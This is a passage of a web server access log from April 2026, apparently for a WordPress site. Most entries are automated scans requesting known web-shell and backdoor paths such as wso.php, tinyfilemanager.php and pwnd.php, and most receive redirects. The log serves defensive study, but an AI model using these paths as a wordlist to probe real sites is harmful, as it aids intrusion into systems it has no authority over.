/wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:51:16 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:51:20 +0300] "GET /a7.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:51:38 +0300] "GET /Geforce.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:52:25 +0300] "GET /wp-includes/theme-compat/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:54:12 +0300] "GET /config.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:55:02 +0300] "GET /class-wp-image.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:56:07 +0300] "GET /12.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:56:49 +0300] "GET /roksad1.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:56:55 +0300] "GET /wmore1.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:58:11 +0300] "GET /maxro.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:02:52 +0300] "GET /wp-lo.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:04:06 +0300] "GET /000.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:04:17 +0300] "GET //config.php? HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:04:19 +0300] "GET /x3x.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:05:32 +0300] "GET /acp.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:05:49 +0300] "GET /xltt.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:05:53 +0300] "GET /ws57.php HTTP/1.1" 301 795 "-" "-" 20.111.44.26 - - [17/Apr/2026:01:36:40 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:52:10 +0300] "GET /son1.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:53:10 +0300] "GET /ayk.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:53:53 +0300] "GET /7.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:56:18 +0300] "GET /xwx1.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:56:32 +0300] "GET /xff.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:00:18 +0300] "GET /zogy1.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:01:48 +0300] "GET /ga.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:02:02 +0300] "GET /xozx.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:03:21 +0300] "GET /yuzuru1.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:05:41 +0300] "GET /fs.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:06:24 +0300] "GET /xynz.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:06:51 +0300] "GET /aevly.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:07:02 +0300] "GET /bthil.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:07:42 +0300] "GET /error_log.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:07:59 +0300] "GET /Ov-Simple1.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:08:32 +0300] "GET //f6.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:52:32 +0300] "GET /aboute.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:53:01 +0300] "GET /wps.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:54:48 +0300] "GET /eFpU3yHnriNNLtvdefault.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:55:24 +0300] "GET /sadcut1.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:57:01 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:58:31 +0300] "GET /1s7y8wt9dz.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:00:02 +0300] "GET /samll.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:02:40 +0300] "GET /wp-kz.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:04:52 +0300] "GET /link.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:08:41 +0300] "GET //edit.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:53:42 +0300] "GET /tx79.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:54:05 +0300] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:58:59 +0300] "GET /ws87.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:01:59:48 +0300] "GET /006.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:01:04 +0300] "GET /gz.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:04:30 +0300] "GET /xy.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:06:14 +0300] "GET /ws80.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:06:34 +0300] "GET /wp-01ul.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:06:38 +0300] "GET /e7.php HTTP/1.1" 301 795 "-" "-" 20.100.206.196 - - [17/Apr/2026:02:07:13 +0300] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 124.156.179.141 - - [17/Apr/2026:02:36:16 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 170.106.180.153 - - [17/Apr/2026:03:31:58 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 46.105.39.50 - - [17/Apr/2026:06:23:50 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 46.105.39.50 - - [17/Apr/2026:06:23:52 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 156.67.27.119 - - [17/Apr/2026:09:13:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 156.67.27.119 - - [17/Apr/2026:09:13:03 +0300] "GET /wp-includes/css/buttons.css HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 162.62.231.139 - - [17/Apr/2026:08:51:44 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 192.71.12.10 - - [17/Apr/2026:08:39:07 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/122.0.6261.89 Mobile/15E148 Safari/604" 182.44.2.148 - - [17/Apr/2026:08:05:25 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 104.28.222.46 - - [17/Apr/2026:08:05:24 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.130.71.237 - - [17/Apr/2026:07:55:45 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 93.158.90.29 - - [17/Apr/2026:12:06:18 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.3" 198.235.24.211 - - [17/Apr/2026:11:57:16 +0300] "GET / HTTP/1.1" 301 795 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 62.141.44.236 - - [17/Apr/2026:09:48:10 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Edg/91.0.864.54" 88.151.34.138 - - [17/Apr/2026:11:02:57 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0" 85.137.48.167 - - [17/Apr/2026:10:28:08 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 93.158.90.43 - - [17/Apr/2026:12:06:18 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.3" 43.135.182.43 - - [17/Apr/2026:13:34:48 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 165.227.172.226 - - [17/Apr/2026:14:33:38 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://www.eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:35 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:43:35 +0300] "GET /O-Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:35 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:35 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:35 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:43:35 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:36 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:36 +0300] "GET /mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:43:36 +0300] "GET /.wp/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:36 +0300] "GET /core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:36 +0300] "GET /robots.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:36 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:36 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.153.151.145 - - [17/Apr/2026:14:43:36 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:36 +0300] "GET /file5.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:43:36 +0300] "GET /ahax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:36 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:36 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:37 +0300] "GET /amax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 185.153.151.145 - - [17/Apr/2026:14:43:37 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:37 +0300] "GET /wp-content/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.153.151.145 - - [17/Apr/2026:14:43:37 +0300] "GET /wp-admin/maint/bootstrap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:37 +0300] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:43:37 +0300] "GET /wp-content/edit-wolf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:37 +0300] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.153.151.145 - - [17/Apr/2026:14:43:37 +0300] "GET /wp-admin/images/bootstrap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:37 +0300] "GET /images/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:37 +0300] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:37 +0300] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:38 +0300] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.153.151.145 - - [17/Apr/2026:14:43:38 +0300] "GET /admin/uploads/bn_1_1754420677.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:38 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:39 +0300] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:43:39 +0300] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 185.153.151.145 - - [17/Apr/2026:14:43:39 +0300] "GET /wp-admin/css/colors/midnight/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:39 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/kill.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:39 +0300] "GET /wp-includes/style-engine/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:43:39 +0300] "GET /wp-admin/images/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:39 +0300] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:39 +0300] "GET /wp-content/plugins/envato-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.153.151.145 - - [17/Apr/2026:14:43:39 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:40 +0300] "GET /uploads/94056-upload.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:40 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:43:40 +0300] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.153.151.145 - - [17/Apr/2026:14:43:40 +0300] "GET /js/bas.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:43:40 +0300] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.153.151.145 - - [17/Apr/2026:14:43:40 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:40 +0300] "GET /wp-includes/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:40 +0300] "GET /wp-content/upgrade/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:40 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:40 +0300] "GET /wp-content/languages/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 185.153.151.145 - - [17/Apr/2026:14:43:41 +0300] "GET /wp-content/themes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.153.151.145 - - [17/Apr/2026:14:43:41 +0300] "GET /wp-content/plugins/elementor/wp-wjvngrh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.153.151.145 - - [17/Apr/2026:14:43:41 +0300] "GET /wp-includes/IXR/fix.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:41 +0300] "GET /wp-includes/widgets/dyqvcfqv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:43:41 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:43:41 +0300] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.153.151.145 - - [17/Apr/2026:14:43:41 +0300] "GET /wp-includes/js/crop/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:41 +0300] "GET /wp-includes/PHPMailer/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.153.151.145 - - [17/Apr/2026:14:43:41 +0300] "GET /wp-includes/PHPMailer/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:42 +0300] "GET /wp-includes/widgets/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:42 +0300] "GET /files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:43:42 +0300] "GET /wp-includes/PHPMailer/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:43:42 +0300] "GET /inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:42 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:43:42 +0300] "GET /filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.153.151.145 - - [17/Apr/2026:14:43:42 +0300] "GET /cgi-bin/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:43:42 +0300] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:42 +0300] "GET /wp-includes/IXR/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:43:42 +0300] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:43:43 +0300] "GET /wp-includes/js/jquery/jquery.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 